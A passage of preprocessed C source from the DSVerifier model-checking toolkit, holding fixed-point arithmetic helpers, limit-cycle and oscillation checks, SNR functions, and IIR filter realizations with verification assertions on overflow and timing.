if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
__DSVERIFIER_assume(found_elements > 0);
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assume(found_elements == desired_elements);
__DSVERIFIER_assert(0);
}
void fxp_check_persistent_limit_cycle(fxp_t * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
fxp_t reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
fxp_t lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void fxp_check_oscillations(fxp_t y[] , int y_size){
__DSVERIFIER_assume((y[0] != y[y_size - 1]) && (y[y_size - 1] != y[y_size - 2]));
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
__DSVERIFIER_assert(!(window_count == window_size));
}
}else{
break;
}
window_timer++;
}
}
}
int fxp_ln(int x) {
int t, y;
y = 0xa65af;
if (x < 0x00008000)
x <<= 16, y -= 0xb1721;
if (x < 0x00800000)
x <<= 8, y -= 0x58b91;
if (x < 0x08000000)
x <<= 4, y -= 0x2c5c8;
if (x < 0x20000000)
x <<= 2, y -= 0x162e4;
if (x < 0x40000000)
x <<= 1, y -= 0x0b172;
t = x + (x >> 1);
if ((t & 0x80000000) == 0)
x = t, y -= 0x067cd;
t = x + (x >> 2);
if ((t & 0x80000000) == 0)
x = t, y -= 0x03920;
t = x + (x >> 3);
if ((t & 0x80000000) == 0)
x = t, y -= 0x01e27;
t = x + (x >> 4);
if ((t & 0x80000000) == 0)
x = t, y -= 0x00f85;
t = x + (x >> 5);
if ((t & 0x80000000) == 0)
x = t, y -= 0x007e1;
t = x + (x >> 6);
if ((t & 0x80000000) == 0)
x = t, y -= 0x003f8;
t = x + (x >> 7);
if ((t & 0x80000000) == 0)
x = t, y -= 0x001fe;
x = 0x80000000 - x;
y -= x >> 15;
return y;
}
double fxp_log10_low(double x) {
int xint = (int) (x * 65536.0 + 0.5);
int lnum = fxp_ln(xint);
int lden = fxp_ln(655360);
return ((double) lnum / (double) lden);
}
double fxp_log10(double x) {
if (x > 32767.0) {
if (x > 1073676289.0) {
x = x / 1073676289.0;
return fxp_log10_low(x) + 9.030873362;
}
x = x / 32767.0;
return fxp_log10_low(x) + 4.515436681;
}
return fxp_log10_low(x);
}
float snrVariance(float s[], float n[], int blksz) {
int i;
double sm = 0, nm = 0, sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sm += s[i];
nm += n[i];
}
sm /= blksz;
nm /= blksz;
for (i = 0; i < blksz; i++) {
sv += (s[i] - sm) * (s[i] - sm);
nv += (n[i] - nm) * (n[i] - nm);
}
if (nv != 0.0f) {
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 373, __extension__ __PRETTY_FUNCTION__); }))
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPower(float s[], float n[], int blksz) {
int i;
double sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sv += s[i] * s[i];
nv += n[i] * n[i];
}
if (nv != 0.0f) {
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 394, __extension__ __PRETTY_FUNCTION__); }))
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPoint(float s[], float n[], int blksz) {
int i;
double ratio = 0, power = 0;
for (i = 0; i < blksz; i++) {
if(n[i] == 0) continue;
ratio = s[i] / n[i];
if(ratio > 150.0f || ratio < -150.0f) continue;
power = ratio * ratio;
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"power >= 1.0f"
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 412, __extension__ __PRETTY_FUNCTION__); }))
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
}
return 9999.9f;
}
unsigned long next = 1;
int rand(void)
{
next = next*1103515245 + 12345;
return (unsigned int)(next/65536) % 32768;
}
void srand(unsigned int seed)
{
next = seed;
}
float iirIIOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 450, __extension__ __PRETTY_FUNCTION__); }))
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return sum;
}
float iirIItOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 477, __extension__ __PRETTY_FUNCTION__); }))
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
double iirIItOutTime_double(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 504, __extension__ __PRETTY_FUNCTION__); }))
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
void iirOutBoth(float yf[], float xf[], float af[], float bf[], float *sumf_ref,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t *sum_ref, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
fxp_t sum = 0;
float sumf = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
af_ptr = &af[1];
yf_ptr = &yf[Na - 1];
bf_ptr = &bf[0];
xf_ptr = &xf[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
sumf += *bf_ptr++ * *xf_ptr--;
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
sumf -= *af_ptr++ * *yf_ptr--;
}
*sum_ref = sum;
*sumf_ref = sumf;
}
fxp_t iirOutFixedL(fxp_t y[], fxp_t x[], fxp_t xin, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
return sum;
}
float iirOutFloatL(float y[], float x[], float xin, float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum += *b_ptr-- * *x_ptr++;
}
x[Nb - 1] = xin;
sum += *b_ptr-- * *x_ptr++;
for (j = 1; j < Na - 1; j++) {
sum -= *a_ptr-- * *y_ptr++;
y[j] = y[j+1];
}
if(Na>1) sum -= *a_ptr-- * *y_ptr++;
y[Na - 1] = sum;
return sum;
}
float iirOutBothL(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[i] = xf[i+1];
sumf += *bf_ptr-- * *xf_ptr++;
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[Nb - 1] = xfin;
sumf += *bf_ptr-- * *xf_ptr++;
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
sumf -= *af_ptr-- * *yf_ptr++;
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
if(Na>1) sumf -= *af_ptr-- * *yf_ptr++;
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
float iirOutBothL2(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i=0, j=1;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[i] = xf[i+1];
sumf += bf[Nb - 1 - i] * xf[i];
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[Nb - 1] = xfin;
sumf += bf[Nb - 1 - i] * xf[i];
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[j] = y[j+1];
sumf -= af[Na - j] * yf[j];
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[Na - 1] = sum;
if(Na>1) sumf -= af[Na - j] * yf[j];
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
# 25 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
extern digital_system ds;
extern hardware hw;
extern int generic_timer;
fxp_t fxp_direct_form_1(fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
}
fxp_verify_overflow_node(sum, "An Overflow Occurred in the node a0");
sum = fxp_div(sum,a[0]);
return fxp_quantize(sum);
}
fxp_t fxp_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr, *w_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] = fxp_sub(w[0], fxp_mult(*a_ptr++, *w_ptr++));
}
w[0] = fxp_add(w[0], x);
w[0] = fxp_div(w[0], a[0]);
fxp_verify_overflow_node(w[0], "An Overflow Occurred in the node b0");
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *w_ptr++));
}
return fxp_quantize(sum);
}
fxp_t fxp_transposed_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr;
fxp_t yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = fxp_add(fxp_mult(*b_ptr++, x), w[0]);
yout = fxp_div(yout, a[0]);
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] = fxp_sub(w[j], fxp_mult(*a_ptr++, yout));
}
if (j < Nb - 1) {
w[j] = fxp_add(w[j], fxp_mult(*b_ptr++, x));
}
}
fxp_verify_overflow_node(w[j], "An Overflow Occurred in the node a0");
return fxp_quantize(yout);
}
double double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb) {
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
double double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
double double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
float float_direct_form_1(float y[], float x[], float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
float float_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
float float_transposed_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
double double_direct_form_1_MSP430(double y[], double x[], double a[], double b[], int Na, int Nb){
int timer1 = 0;
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
int i, j;
timer1 += 91;
for (i = 0; i < Nb; i++){
sum += *b_ptr++ * *x_ptr--;
timer1 += 47;
}
for (j = 1; j < Na; j++){
sum -= *a_ptr++ * *y_ptr--;
timer1 += 57;
}
timer1 += 3;
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 235, __extension__ __PRETTY_FUNCTION__); }))
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 262, __extension__ __PRETTY_FUNCTION__); }))
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_transposed_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
